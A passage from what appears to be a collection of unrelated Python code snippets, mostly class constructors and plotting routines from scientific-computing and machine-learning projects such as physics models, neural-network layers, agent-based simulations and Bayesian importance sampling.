self.F,self.geometry.properties['heat_flux'],1,1.0,self.area,\\n self.geometry.properties['rho'],self.geometry.properties['cp'],\\n self.Vol,self.geometry.properties['degree_window'],deltaT)\",\n \"def __init__(self, data):\\n self.data = data\\n\\n self.DT = self.data['DT']\\n self.N_T = int(self.data['N_T'])\\n\\n self.xr = self.data['XR'][0].astype('float32')\\n self.yr = self.data['YR'][0].astype('float32')\\n self.S_gen = self.data['S_gen'].astype('float32')\\n self.Var = self.data['Var'][0].astype('float32')\\n\\n self.blur_sdev = float(np.sqrt(0.5))\\n # float(np.sqrt(self.Var)) / self.data['ds']\\n\\n self.N_itr = self.data['N_itr']\\n # self.DC_gen = self.data['DC_gen']\\n # self.DC_infer = self.data['DC_infer']\\n self.L_I = self.data['L_I']\\n self.LAMBDA = self.data['lamb']\\n self.R = self.data['R']\\n self.L_N = self.data['L_N']\\n\\n # Convert retinal positions to grid\\n xs = self.data['XS'].astype('float32')\\n ys = self.data['YS'].astype('float32')\\n\\n xs, ys = np.meshgrid(xs, ys)\\n self.xs = xs.ravel()\\n self.ys = ys.ravel()\\n\\n self.N_itr = self.data['N_itr']\\n\\n try:\\n self.s_range = self.data['s_range']\\n except:\\n self.s_range = 'sym' # 'pos'\\n\\n # Dictionary to store image estimates (high res)\\n self.image_ests = {}\",\n \"def test_plot(arg):\\n source_data = data.Biofile(arg)\\n sample = source_data.get_header()\\n feature = source_data.get_index()\\n sample_size, feature_size = 106, 12042\\n sample = sample[:sample_size]\\n #xshape = (106 12042)\\n print(sample, feature)\\n X = source_data.get_matrix().T[:sample_size, :feature_size]\\n mx = 100\\n labs = ['rbf','poly','sigmoid']\\n semi_r = util.kernel_non_negative_factorization(X.T,n_components=2, max_iter = mx, parameter = 100) #rbf 0.5\\n semi_r_con = util.kernel_non_negative_factorization(X.T,n_components=2, max_iter = mx, kernel='poly', parameter= 0.5)#ploy 2\\n semi_r_con1 = util.kernel_non_negative_factorization(X.T,n_components=2, max_iter=mx, kernel='sigmoid', parameter= 0.1) #sigmoid 0.5\\n semi_r_con2 = util.convex_non_negative_factorization(X.T, max_iter=mx, n_components=2)\\n\\n #semi_r = util.semi_non_negative_factorization_with_straint(X.T, max_iter = mx,n_components=2 ,initialization= 'Kmeans',alpha = 0.01, beta = 0.01)\\n #semi_r_con = util.semi_non_negative_factorization_with_straint(X.T, max_iter=mx,n_components=2 ,initialization= 'Kmeans',alpha= 10, beta = 10)\\n #semi_r_con1 = util.semi_non_negative_factorization_with_straint(X.T, max_iter=mx,n_components=2, initialization= 'Kmeans',alpha= 0, beta = 10)\\n #semi_r_con2 = util.semi_non_negative_factorization_with_straint(X.T, max_iter=mx,n_components=2, initialization= 'Kmeans',alpha= 10, beta = 0)\\n #convex_r_con = util.convex_non_negative_factorization(X.T, n_components=2, max_iter=mx)\\n\\n G, G1, G2, G3 = semi_r[1], semi_r_con[1], semi_r_con1[1], semi_r_con2[1]\\n result, result1, result2, result3 = semi_r[2], semi_r_con[2], semi_r_con1[2], semi_r_con2[2]\\n x = [i for i in range(mx)]\\n # plot the losses function\\n plt.title(\\\"losses function of {}\\\".format(arg[:-4]))\\n plt.xlabel(\\\"iteration times\\\")\\n plt.ylabel(\\\"losses\\\")\\n\\n plt.plot(x, result[:mx], 'r', marker = '.', label = 'kNMF({})'.format(labs[0]))\\n plt.plot(x, result1[:mx], 'b', marker ='.' , label = 'kNMF({})'.format(labs[1]))\\n plt.plot(x, result2[:mx], 'c', marker ='.', label = 'kNMF({})'.format(labs[2]))\\n plt.plot(x, result3[:mx], 'm', marker ='.', label = 'cvxnmf')\\n \\\"\\\"\\\"\\n plt.plot(x, result[:mx], 'r', marker = '.', label = 'sNMF')\\n plt.plot(x, result1[:mx], 'b', marker ='.' , label = 'sNMF(0.5,0.5)')\\n plt.plot(x, result2[:mx], 'c', marker ='.', label = 'sNMF(0,0.5)')\\n plt.plot(x, result3[:mx], 'm', marker ='.', label = 'sNMF(0.5,1)')\\n plt.plot(x, result4[:mx], 'k', marker = '.', label = 'cvx-NMF')\\n \\\"\\\"\\\"\\n plt.legend(bbox_to_anchor=[1,1])\\n plt.grid()\\n plt.show()\\n\\n #plot the clustering result\\n plt1 = plt\\n plt1.subplot(221)\\n plt1.plot(G[:,0], G[:,1], 'ro')\\n plt1.title(u'the distribution of items(knmf({}))'.format(labs[0]))\\n #items = zip(sample, G)\\n #for item in items:\\n # item_name, item_data = item[0], item[1]\\n # plt1.text(item_data[0], item_data[1], item_name,\\n # horizontalalignment='center',\\n # verticalalignment='top')\\n\\n plt1.subplot(222)\\n plt1.plot(G1[:,0], G1[:,1], 'bo')\\n\\n plt1.title(u'the distribution of items(knmf({}))'.format(labs[1]))\\n\\n #items = zip(sample, G1)\\n #for item in items:\\n # item_name, item_data = item[0], item[1]\\n # plt1.text(item_data[0], item_data[1], item_name,\\n # horizontalalignment='center',\\n # verticalalignment='top')\\n\\n plt1.subplot(223)\\n plt1.plot(G2[:,0], G2[:,1], 'co')\\n plt1.title(u'the distribution of items((knmf({}))'.format(labs[2]))\\n #items = zip(sample, G4)\\n #for item in items:\\n # item_name, item_data = item[0], item[1]\\n # plt1.text(item_data[0], item_data[1], item_name,\\n # horizontalalignment='center',\\n # verticalalignment='top')\\n\\n plt1.subplot(224)\\n plt1.plot(G3[:,0], G3[:,1], 'mo')\\n plt1.title(u'the distribution of items(convex-nmf))')\\n #items = zip(sample, G2)\\n #for item in items:\\n # item_name, item_data = item[0], item[1]\\n # plt1.text(item_data[0], item_data[1], item_name,\\n # horizontalalignment='center',\\n # verticalalignment='top')\\n\\n plt1.show()\",\n \"def __init__(self, **kwargs):\\n GaussBeam.__init__(self, **kwargs)\\n self.scale = kwargs.get('scale',10.)\\n self.mass = kwargs.get('mass', 6.0)\\n self.s0 = kwargs.get('s0', 7.0)\\n self.retro = kwargs.get('retro', 1.0)\\n self.alpha = kwargs.get('alpha', 1.0)\\n self.Er0 = Erecoil( self.l , self.mass) \\n self.mW = 1000 * (self.s0 * self.Er0 ) \\\\\\n * np.abs( np.pi / 8. / uL(self.l) )\\\\\\n * self.w[0]*self.w[1] / self.retro\",\n \"def __init__(self):\\n self.eps = 1e-5\\n self.use_global_stats = True\\n self.workspace = 512\\n self.units = (3, 4, 23, 3) # use for 101\\n self.filter_list = [256, 512, 1024, 2048]\",\n \"def __init__(self, data, pixscale = 7.77/43):\\n self.data = data\\n self.pixscale = pixscale\",\n \"def __init__(self, size, parameters):\\n\\n self.weights = self.init_weights(size)\\n self.alpha = parameters['alpha']\\n self.epsilon = parameters['epsilon']\\n self.gamma = parameters['gamma']\\n self.value = 0.0 #np.random.random()\",\n \"def figure_10_12_b():\\n xs = np.arange(-6,6,0.1)\\n plt.plot(xs,sigmoid(xs))\\n x=2.5\\n plt.scatter(x,sigmoid(x))\\n plt.plot(xs,logistic_lower_bound(xs,x))\\n plt.show()\",\n \"def __init__(self, alpha = 1.0): \\n self.alpha = alpha\",\n \"def __init__(self):\\r\\n\\r\\n self.maxid = 0\\r\\n self.alphas = { 0 : {}, 1 : {}, 2 : {} }\\r\\n self.positions = {}\",\n \"def learning_rate_range():\\n # Lower and upper bounds\\n #######\\n lower_bound = 0.1 \\n upper_bound = 1e-6\\n #######\\n return lower_bound, upper_bound\",\n \"def __init__(self, **kwargs):\\n\\n self.path = kwargs['path']\\n self.prefix = kwargs['prefix']\\n self.num_points = kwargs['num_points']\\n self.blur_radius = kwargs['blur_radius']\\n self.num_colors = kwargs['num_colors']\",\n \"def __init__(self,Nx=24,Ny=24,kx0=-pi/3.,ky0=0.,kxmax=pi,kymax=2.*pi/np.sqrt(3.)):\\n self.Nx=Nx\\n self.Ny=Ny\\n self.kx0=kx0\\n self.ky0=ky0\\n self.kxmax=kxmax\\n self.kymax=kymax\\n self.dkx=(kxmax-kx0)/float(Nx)\\n self.dky=(kymax-ky0)/float(Ny)\",\n \"def __init__(self, min_lr=1e-5, max_lr=1, epochs=1, use_plotly=True):\\n super().__init__()\\n\\n self.min_lr = min_lr\\n self.max_lr = max_lr\\n self.epochs = epochs\\n self.use_plotly = use_plotly\\n\\n self.scheduler = None\\n self.gamma = 0\\n self.history = {}\",\n \"def __init__(self, dimensions, lower=0.0, upper=1.0, name=None):\\n super().__init__((dimensions,), name=name)\\n self.dimensions = dimensions\\n self.lower = lower\\n self.upper = upper\",\n \"def continuous_model():\\n return {\\\"x\\\": np.random.beta(2, 5, size=100), \\\"y\\\": np.random.beta(2, 5, size=100)}\",\n \"def __init__(self, dm, h):\\n super().__init__()\\n self.h = h\\n self.dm = dm\\n\\n self.depth = dm // h\\n\\n self.Wq = tf.keras.layers.Dense(dm)\\n self.Wk = tf.keras.layers.Dense(dm)\\n self.Wv = tf.keras.layers.Dense(dm)\\n\\n self.linear = tf.keras.layers.Dense(dm)\",\n \"def __init__(\\n self,\\n height=20,\\n width=20,\\n initial_sheep=100,\\n initial_wolves=50,\\n sheep_reproduce=0.04,\\n wolf_reproduce=0.05,\\n wolf_gain_from_food=20,\\n grass=False,\\n grass_regrowth_time=30,\\n sheep_gain_from_food=4,\\n trees_carrots_ratio=0.5,\\n YEAR=20,\\n nb_of_hunters=0,\\n ):\\n super().__init__()\\n # Set parameters\\n self.height = height\\n self.width = width\\n self.initial_sheep = initial_sheep\\n self.initial_wolves = initial_wolves\\n self.sheep_reproduce = sheep_reproduce\\n self.wolf_reproduce = wolf_reproduce\\n self.wolf_gain_from_food = wolf_gain_from_food\\n self.grass = grass\\n self.grass_regrowth_time = grass_regrowth_time\\n self.sheep_gain_from_food = sheep_gain_from_food\\n self.trees_carrots_ratio = trees_carrots_ratio\\n self.YEAR = YEAR\\n self.nb_of_hunters = nb_of_hunters\\n\\n self.schedule = RandomActivationByBreed(self) # classe contenant un dictionnaire des types d'agents et agents existants par type, avec une ordre d'activation possible\\n self.grid = MultiGrid(self.height, self.width, torus=True)\\n self.datacollector = DataCollector(\\n {\\n \\\"Fox\\\": lambda m: m.schedule.get_breed_count(Predator),\\n \\\"Rabbit\\\": lambda m: m.schedule.get_breed_count(Prey),\\n }\\n )\\n\\n # Create sheep:\\n for i in range(self.initial_sheep):\\n x = self.random.randrange(self.width)\\n y = self.random.randrange(self.height)\\n age = self.random.randrange(3*self.YEAR)\\n energy = self.random.randrange( int(self.sheep_gain_from_food/2), 2 * self.sheep_gain_from_food)\\n sheep = Prey(self.next_id(), (x, y), self, True, energy, age)\\n self.grid.place_agent(sheep, (x, y))\\n self.schedule.add(sheep)\\n\\n # Create wolves\\n for i in range(self.initial_wolves):\\n x = self.random.randrange(self.width)\\n y = self.random.randrange(self.height)\\n age = self.random.randrange(4*self.YEAR)\\n energy = self.random.randrange(int(self.wolf_gain_from_food/2), 2 * self.wolf_gain_from_food)\\n wolf = Predator(self.next_id(), (x, y), self, True, energy, age)\\n self.grid.place_agent(wolf, (x, y))\\n self.schedule.add(wolf)\\n\\n # Create grass patches\\n if self.grass:\\n for agent, x, y in self.grid.coord_iter():\\n if self.trees_carrots_ratio < self.random.random(): # aléatoire du nombre d'arbres et de carottes\\n fully_grown = self.random.choice([True, False])\\n if fully_grown: # carottes ou pousses de carotes\\n countdown = self.grass_regrowth_time\\n else:\\n countdown = self.random.randrange(self.grass_regrowth_time)\\n plant = Plant(self.next_id(), (x, y), self, fully_grown, countdown)\\n else:\\n plant = Tree(self.next_id(), (x, y), self)\\n self.grid.place_agent(plant, (x, y))\\n self.schedule.add(plant)\\n\\n # create hunters\\n for i in range(self.nb_of_hunters):\\n x = self.random.randrange(self.width-13, self.width-7) # HUNTERMODIF\\n y = self.random.randrange(self.height-13, self.height-7) # HUNTERMODIF\\n hunter = Hunter(self.next_id(), (x, y), self)\\n self.grid.place_agent(hunter, (x, y))\\n self.schedule.add(hunter)\\n\\n self.running = True\\n self.datacollector.collect(self)\",\n \"def __init__(self, n_pixels=(250,150),\\n submarine=None,\\n air_velocity=0.1,\\n water_velocity=1.0,\\n rock_velocity=10.0,\\n **kwargs):\\n\\n GeneratedGalleryModel.__init__(self)\\n\\n self.air_velocity = air_velocity\\n self.water_velocity = water_velocity\\n self.rock_velocity = rock_velocity\\n\\n if len(n_pixels) not in [2,3]:\\n raise ValueError('Submarine-sonar model only works for dimensions greater than 1.')\\n\\n if submarine is None:\\n if len(n_pixels) == 2:\\n submarine = default_submarine_2D\\n else: # len(n_pixels) == 3\\n submarine = default_submarine_3D\\n self.submarine = submarine\\n\\n config_list = list()\\n\\n # Configure X direction\\n x_lbc = kwargs['x_lbc'] if ('x_lbc' in list(kwargs.keys())) else PML(0.1, 100.0)\\n x_rbc = kwargs['x_rbc'] if ('x_rbc' in list(kwargs.keys())) else PML(0.1, 100.0)\\n\\n xmin, xmax = 0.0, 2.5\\n x_config = (xmin, xmax, x_lbc, x_rbc)\\n config_list.append(x_config)\\n\\n\\n if len(n_pixels) == 3:\\n\\n # If it is there, configure Y direction\\n y_lbc = kwargs['y_lbc'] if ('y_lbc' in list(kwargs.keys())) else PML(0.1, 100.0)\\n y_rbc = kwargs['y_rbc'] if ('y_rbc' in list(kwargs.keys())) else PML(0.1, 100.0)\\n\\n ymin, ymax = 0.0, 2.5\\n y_config = (ymin, ymax, y_lbc, y_rbc)\\n config_list.append(y_config)\\n\\n # Configure Z direction\\n z_lbc = kwargs['z_lbc'] if ('z_lbc' in list(kwargs.keys())) else PML(0.1, 100.0)\\n z_rbc = kwargs['z_rbc'] if ('z_rbc' in list(kwargs.keys())) else PML(0.1, 100.0)\\n\\n zmin, zmax = 0.0, 1.5\\n z_config = (zmin, zmax, z_lbc, z_rbc)\\n config_list.append(z_config)\\n\\n domain = RectangularDomain(*config_list)\\n\\n mesh_args = [domain] + list(n_pixels)\\n mesh = CartesianMesh(*mesh_args)\\n\\n\\n self._mesh = mesh\\n self._domain = mesh.domain\\n\\n # Set _initial_model and _true_model\\n self.rebuild_models()\",\n \"def main():\\n # Load properties that will be needed\\n store = [Storage.Storage(2), Storage.Storage(4)] \\n pre_energy = [s.get(\\\"free_energy\\\") for s in store]\\n post_energy = [s.get(\\\"post_energy\\\") for s in store]\\n x_range = store[0].get(\\\"x_range\\\")\\n xlocs = np.arange(x_range[0], x_range[1], x_range[2])\\n y_range = store[0].get(\\\"y_range\\\")\\n ylocs = np.arange(y_range[0], y_range[1], y_range[2])\\n # Calculate step size\\n xb2steps = stepsize(pre_energy[0], post_energy[0], xlocs) \\n xb4steps = stepsize(pre_energy[1], post_energy[1], xlocs) \\n # Set up the figure\\n fig = plt.figure(1, figsize=(7.5,2.5)) \\n axe = (fig.add_subplot(1, 2, 1), fig.add_subplot(1, 2, 2))\\n # Plot the results\\n axe[0].plot(ylocs, xb4steps, color='#FF466F', lw=4)\\n axe[1].plot(ylocs, xb2steps, color='#76D753', lw=4)\\n # Annotate the plots\\n axe[0].set_title(\\\"4sXB step size\\\")\\n axe[0].set_xlabel(\\\"Lattice spacing (nm)\\\") \\n axe[0].set_ylabel(\\\"Step size (nm)\\\")\\n axe[0].set_xlim((25.5, 39))\\n axe[0].set_ylim((1, 8))\\n axe[1].set_title(\\\"2sXB step size\\\")\\n axe[1].set_xlabel(\\\"Lattice spacing (nm)\\\") \\n axe[1].set_ylabel(\\\"Step size (nm)\\\")\\n axe[1].set_xlim((25.5, 39))\\n axe[1].set_ylim((1, 8))\\n # Display the plots\\n fig.subplots_adjust(wspace=0.25, hspace=0.48,\\n left=0.08, right=0.98,\\n top=0.85, bottom=0.21)\\n plt.show()\",\n \"def __init__(self):\\n super().__init__()\\n self.location = 0.0\\n self.scale = 1.0\\n self.type = 'Logistic'\\n self.distType = 'Continuous'\\n self.hasInfiniteBound = True\\n self.compatibleQuadrature.append('CDF')\\n self.preferredQuadrature = 'CDF'\\n self.preferredPolynomials = 'CDF'\",\n \"def __init__(self, config, xtdim, batch_size):\\n self.float_type = 'float32' # This should be the default\\n self.config = config\\n self.dt = self.config['dt']\\n\\n self.n_input = self.config['n_input']\\n self.n_output = self.config['n_output']\\n\\n self.batch_size = batch_size\\n self.xtdim = xtdim\\n\\n # time major\\n self.x = np.zeros((xtdim, batch_size, self.n_input), dtype=self.float_type)\\n self.y = np.zeros((xtdim, batch_size, self.n_output), dtype=self.float_type)\\n self.cost_mask = np.zeros((xtdim, batch_size, self.n_output), dtype=self.float_type)\\n # strength of input noise\\n self._sigma_x = config['sigma_x'] * math.sqrt(2./self.config['alpha'])\\n\\n if config['rule_name'] == 'timed_spatial_reproduction_broad_tuning' \\\\\\n or config['rule_name'] == 'spatial_reproduction_broad_tuning':\\n self.n_guassianline = 32 + 12\\n self.sd_gaussianline = 4.\\n else:\\n self.n_guassianline = 32\\n self.sd_gaussianline = 2.\\n\\n self.pref_line_gaussian = np.arange(0, self.n_guassianline)\",\n \"def __init__(self, x, y, input_len, sigma=1.0, learning_rate=0.5,\\n decay_function=asymptotic_decay,\\n neighborhood_function='gaussian', topology='rectangular',\\n activation_distance='euclidean', random_seed=None):\\n if sigma >= x or sigma >= y:\\n warn('Warning: sigma is too high for the dimension of the map.')\\n\\n self._random_generator = random.RandomState(random_seed)\\n\\n self._learning_rate = learning_rate\\n self._sigma = sigma\\n self._input_len = input_len\\n # random initialization\\n self._weights = self._random_generator.rand(x, y, input_len)*2-1\\n self._weights /= linalg.norm(self._weights, axis=-1, keepdims=True)\\n\\n self._activation_map = zeros((x, y))\\n self._neigx = arange(x)\\n self._neigy = arange(y) # used to evaluate the neighborhood function\\n\\n if topology not in ['hexagonal', 'rectangular']:\\n msg = '%s not supported only hexagonal and rectangular available'\\n raise ValueError(msg % topology)\\n self.topology = topology\\n self._xx, self._yy = meshgrid(self._neigx, self._neigy)\\n self._xx = self._xx.astype(float)\\n self._yy = self._yy.astype(float)\\n if topology == 'hexagonal':\\n self._xx[::-2] -= 0.5\\n if neighborhood_function in ['triangle']:\\n warn('triangle neighborhood function does not ' +\\n 'take in account hexagonal topology')\\n\\n self._decay_function = decay_function\\n\\n neig_functions = {'gaussian': self._gaussian,\\n 'mexican_hat': self._mexican_hat,\\n 'bubble': self._bubble,\\n 'triangle': self._triangle}\\n\\n if neighborhood_function not in neig_functions:\\n msg = '%s not supported. Functions available: %s'\\n raise ValueError(msg % (neighborhood_function,\\n ', '.join(neig_functions.keys())))\\n\\n if neighborhood_function in ['triangle',\\n 'bubble'] and (divmod(sigma, 1)[1] != 0\\n or sigma < 1):\\n warn('sigma should be an integer >=1 when triangle or bubble' +\\n 'are used as neighborhood function')\\n\\n self.neighborhood = neig_functions[neighborhood_function]\\n\\n distance_functions = {'euclidean': self._euclidean_distance,\\n 'cosine': self._cosine_distance,\\n 'manhattan': self._manhattan_distance,\\n 'chebyshev': self._chebyshev_distance}\\n\\n if isinstance(activation_distance, str):\\n if activation_distance not in distance_functions:\\n msg = '%s not supported. Distances available: %s'\\n raise ValueError(msg % (activation_distance,\\n ', '.join(distance_functions.keys())))\\n\\n self._activation_distance = distance_functions[activation_distance]\\n elif callable(activation_distance):\\n self._activation_distance = activation_distance\",\n \"def __init__(self,world,renderer,a,b,x,y,ang,mode=0):\\r\\n\\t\\tself.world = world\\r\\n\\t\\tself.renderer = renderer\\r\\n\\t\\tself.a = a\\r\\n\\t\\tself.b = b\\r\\n\\t\\tself.x = x\\r\\n\\t\\tself.x_tgt = x\\r\\n\\t\\tself.y = y\\r\\n\\t\\tself.y_tgt = y\\r\\n\\t\\tself.ang = ang\\r\\n\\t\\tself.mode = mode\\r\\n\\t\\tself.tgt = []\\r\\n\\t\\tself.thrust_color = b2Color(1,1,1)\\r\\n\\t\\t\\r\\n\\t\\tself.__f = filter(0.9)\\r\\n\\t\\tself.__ftl = filter(0.65)\\r\\n\\t\\tself.__ftr = filter(0.65)\\r\\n\\t\\t\\r\\n\\t\\tself.AddTarget(b2Vec2(self.x,self.y))\\r\\n\\t\\tself.NextTarget()\\r\\n\\t\\t##self.__g = graph(self.renderer,45,300,10,100,100)\\t\\t\\r\\n\\t\\t\\r\\n\\t\\t##self.a_pid = PID(0.07, 0.00001, 0.009, 1./64., 0.5, -0.5)\\r\\n\\t\\t##self.y_pid = PID(0.5, 0.01, 0.9, 1./64., 0.3, 0)\\r\\n\\t\\t##self.x_pid = PID(0.04, 0.000001, 0.1, 1./64., 3.14/8, -3.14/8)\\r\\n\\t\\t\\r\\n\\t\\tself.__conf = config(\\\"config.cfg\\\")\\r\\n\\t\\tself.__conf.Load()\\r\\n\\t\\tif mode:\\r\\n\\t\\t\\t(kp,ki,kd,dt,mi,mx)=self.__conf.Read(\\\"a_pid\\\")\\r\\n\\t\\t\\tself.a_pid = PID(kp, ki, kd, dt, mx, mi, graph(self.renderer,300,10,300,100) if self.configer==0 else None)\\r\\n\\t\\t\\t(kp,ki,kd,dt,mi,mx)=self.__conf.Read(\\\"y_pid\\\")\\r\\n\\t\\t\\tself.y_pid = PID(kp, ki, kd, dt, mx, mi, graph(self.renderer,300,10,300,100) if self.configer==1 else None)\\r\\n\\t\\t\\t(kp,ki,kd,dt,mi,mx)=self.__conf.Read(\\\"x_pid\\\")\\r\\n\\t\\t\\tself.x_pid = PID(kp, ki, kd, dt, mx, mi ,graph(self.renderer,300,10,300,100) if self.configer==2 else None)\\r\\n\\t\\t\\tself.thrust_color = b2Color(1,0,0.5)\\r\\n\\t\\telse:\\r\\n\\t\\t\\tself.a_pid = PIDz(2.0, 0.1, 6.0, 0.5, -0.5)\\r\\n\\t\\t\\tself.y_pid = PIDz(6.2, 0.2, 17.4, 0.5, 0)\\r\\n\\t\\t\\tself.x_pid = PIDz(0.6, 0.02, 22, math.pi/8, -math.pi/8)\\r\\n\\t\\t\\tself.thrust_color = b2Color(0,0,1)\\r\\n\\t\\t\\r\\n\\t\\trail=b2FixtureDef(\\r\\n\\t\\t\\tshape=b2PolygonShape(box=(self.a,self.b)),\\r\\n\\t\\t\\tdensity=0.02,\\r\\n\\t\\t\\tfriction=0.1)\\r\\n\\r\\n\\t\\tbody=b2FixtureDef(\\r\\n\\t\\t\\tshape=b2PolygonShape(box=(a/3.,a/6.,(0,a/6.),0)),\\r\\n\\t\\t\\tdensity=0.10,\\r\\n\\t\\t\\tfriction=0.1)\\r\\n\\t\\t#~ help(b2PolygonShape)\\t\\r\\n\\t\\tself.body = self.world.CreateDynamicBody(fixtures=[rail,body], position=(self.x, self.y))\",\n \"def __init__(self,\\n min_level,\\n max_level,\\n classes=80,\\n boxes_per_level=3,\\n output_extras=0,\\n norm_momentum=0.99,\\n norm_epsilon=0.001,\\n kernel_initializer=\\\"VarianceScaling\\\",\\n subdivisions=8,\\n kernel_regularizer=None,\\n bias_regularizer=None,\\n activation=None,\\n smart_bias=False,\\n **kwargs):\\n\\n super().__init__(**kwargs)\\n self._min_level = min_level\\n self._max_level = max_level\\n\\n self._key_list = [\\n str(key) for key in range(self._min_level, self._max_level + 1)\\n ]\\n\\n self._classes = classes\\n self._boxes_per_level = boxes_per_level\\n self._output_extras = output_extras\\n\\n self._output_conv = (classes + output_extras + 5) * boxes_per_level\\n self._smart_bias = smart_bias\\n\\n self._base_config = dict(\\n activation=activation,\\n subdivisions=subdivisions,\\n norm_momentum=norm_momentum,\\n norm_epsilon=norm_epsilon,\\n kernel_initializer=kernel_initializer,\\n kernel_regularizer=kernel_regularizer,\\n bias_regularizer=bias_regularizer)\\n\\n self._conv_config = dict(\\n filters=self._output_conv,\\n kernel_size=(1, 1),\\n strides=(1, 1),\\n padding=\\\"same\\\",\\n use_bn=False,\\n **self._base_config)\",\n \"def __init__(self, samples, obs, nPlanets=0, nOffsets=0, nImportSamps=10000, scale=1.0, pRatio=1., slope=False):\\n\\n self.samples = samples\\n self.nPlanets = nPlanets\\n self.nOffsets = nOffsets\\n self.nImportSamps = nImportSamps\\n self.scale = scale\\n self.pRatio = pRatio\\n self.slope = slope\\n\\n param_keys, param_IS_keys = create.dict_keys(self.nPlanets, self.nOffsets, slope=self.slope)\\n print(param_keys)\\n print(param_IS_keys)\\n postSamp, nPostSamples = create.posterior_samples_from_emcee(self.samples, param_keys)\\n\\n postSamp_pKhkl = compute.pKewM_to_importSamp_parameterization(postSamp, param_IS_keys, self.nPlanets)\\n\\n self.mediansG, self.covMatrixG, self.choleskyDecomp, self.logDetSigmaG = compute.matrix_info(postSamp_pKhkl)\\n\\n nParams = len(param_IS_keys)\\n random_values = [ truncnorm.rvs(-self.scale, self.scale, size=nParams) for i in range(self.nImportSamps) ]\\n\\n samples = [ [] for i in range(self.nImportSamps) ]\\n g_samples = [ [] for i in range(self.nImportSamps) ]\\n loggs = [ 0. for i in range(self.nImportSamps) ]\\n\\n print(\\\"## Drawing importance samples...\\\")\\n\\n for x in range(self.nImportSamps):\\n dispersion = np.dot( self.choleskyDecomp, np.transpose(random_values[x]) )\\n samples[x] = self.mediansG + dispersion\\n g_samples[x] = list(samples[x])\\n\\n diff = np.subtract(samples[x],self.mediansG)\\n\\n logg = -0.5 * (nParams*np.log(2.*np.pi) + self.logDetSigmaG + \\\\\\n np.dot( np.transpose(diff), \\\\\\n np.linalg.solve(self.covMatrixG, np.subtract(samples[x],self.mediansG) ) ) ) - \\\\\\n nParams*np.log(erf(self.scale/np.sqrt(2.)))\\n loggs[x] = logg\\n\\n print(\\\"## Done drawing importance samples!\\\")\\n print(\\\"\\\")\\n \\n g_samples_T = np.transpose(g_samples)\\n importSamp_dict = OrderedDict()\\n\\n for i, item in enumerate(g_samples_T):\\n importSamp_dict[param_IS_keys[i]] = item\\n\\n importSamp_pKhkl_dict = compute.importSamp_parameterization_to_pKewM(importSamp_dict, param_keys, self.nPlanets, self.pRatio)\\n importSamp_pKewM = np.transpose([ vals for key, vals in importSamp_pKhkl_dict.items() ])\\n\\n print(\\\"## Evaluating lnpost at importance samples...\\\")\\n\\n logPosteriors = np.array([ np.nan for i in range(self.nImportSamps) ])\\n for i in range(nImportSamps):\\n logPosteriors[i] = lnpost(importSamp_pKewM[i], obs, self.nPlanets, slope=self.slope)\\n\\n print(\\\"## Done evaluating lnpost!\\\")\\n print(\\\"\\\")\\n\\n\\n logSum = -(9.**99.)\\n\\n for i in range(self.nImportSamps): \\n diff = logPosteriors[i] - loggs[i]\\n\\n logSum = np.logaddexp(logSum, diff)\\n if i%1000==0:\\n print(str(i+1) + \\\" \\\" + str(logSum - np.log(i+1)))\\n \\n self.logAvg = logSum - np.log(self.nImportSamps)\\n self.f_MCMC = 0.\\n\\n print(\\\"\\\")\\n print(\\\"## logAvg: \\\" + str(self.logAvg))\\n\\n postSamp_wo_keys = []\\n for key in postSamp_pKhkl:\\n postSamp_wo_keys.append(postSamp_pKhkl[key])\\n \\n postSamp_wo_keys = np.transpose(np.array(postSamp_wo_keys))\\n diff = postSamp_wo_keys-self.mediansG\\n\\n for j in range(nPostSamples):\\n\\n z = np.linalg.solve(self.choleskyDecomp, diff[j])\\n\\n if all([abs(k)<=scale for k in z]):\\n self.f_MCMC += 1.\\n else:\\n self.f_MCMC += 0.\\n \\n self.f_MCMC = self.f_MCMC/nPostSamples\\n self.logFML = self.logAvg - np.log(self.f_MCMC)\\n\\n print(\\\"## f_MCMC: \\\" + str(self.f_MCMC))\\n print(\\\"## logFML: \\\" + str(self.logFML))\\n\\n print(\\\"## FML computed!\\\")\\n print(\\\"## Done!\\\")\",\n \"def __init__(self, min: float, max: float):\\n super().__init__()\\n\\n # store input parameters\\n self.min = min\\n self.max = max\",\n \"def initialize_variables(self):\\n super(D2Model, self).initialize_variables()\\n\\n s = \\\"::: initializing 2D variables :::\\\"\\n print_text(s, cls=self)\\n\\n # Depth below sea level :\\n class Depth(Expression):\\n def eval(self, values, x):\\n values[0] = abs(min(0, x[2]))\\n self.D = Depth(element=self.Q.ufl_element())\\n \\n # Enthalpy model\\n self.theta_surface = Function(self.Q, name='theta_surface')\\n self.theta_float = Function(self.Q, name='theta_float')\\n self.theta_app = Function(self.Q, name='theta_app')\\n self.theta = Function(self.Q, name='theta')\\n self.theta0 = Function(self.Q, name='theta0')\\n self.W0 = Function(self.Q, name='W0')\\n self.thetahat = Function(self.Q, name='thetahat')\\n self.uhat = Function(self.Q, name='uhat')\\n self.vhat = Function(self.Q, name='vhat')\\n self.what = Function(self.Q, name='what')\\n self.mhat = Function(self.Q, name='mhat')\\n self.rho_b = Function(self.Q, name='rho_b')\\n\\n # Age model \\n self.age = Function(self.Q, name='age')\\n self.a0 = Function(self.Q, name='a0')\\n\\n # Surface climate model\\n self.precip = Function(self.Q, name='precip')\\n\\n # Stokes-balance model :\\n self.u_s = Function(self.Q, name='u_s')\\n self.u_t = Function(self.Q, name='u_t')\\n self.F_id = Function(self.Q, name='F_id')\\n self.F_jd = Function(self.Q, name='F_jd')\\n self.F_ib = Function(self.Q, name='F_ib')\\n self.F_jb = Function(self.Q, name='F_jb')\\n self.F_ip = Function(self.Q, name='F_ip')\\n self.F_jp = Function(self.Q, name='F_jp')\\n self.F_ii = Function(self.Q, name='F_ii')\\n self.F_ij = Function(self.Q, name='F_ij')\\n self.F_iz = Function(self.Q, name='F_iz')\\n self.F_ji = Function(self.Q, name='F_ji')\\n self.F_jj = Function(self.Q, name='F_jj')\\n self.F_jz = Function(self.Q, name='F_jz')\\n self.tau_iz = Function(self.Q, name='tau_iz')\\n self.tau_jz = Function(self.Q, name='tau_jz')\",\n \"def _getAttributes(self):\\n self._params = {}\\n if self.interp is not None:\\n # Initialize interpolation function :\\n self['x'] = np.arange(0, self.pixels, 1)\\n self['y'] = np.arange(0, self.pixels, 1)\\n # Define newaxis :\\n self['xnew'] = np.arange(0, self.pixels, self.interp)\\n self['ynew'] = np.arange(0, self.pixels, self.interp)\\n self['csize'] = len(self['xnew'])\\n else:\\n self['csize'] = self.pixels\\n # Variables :\\n l = int(self['csize'] / 2)\\n self['l'] = 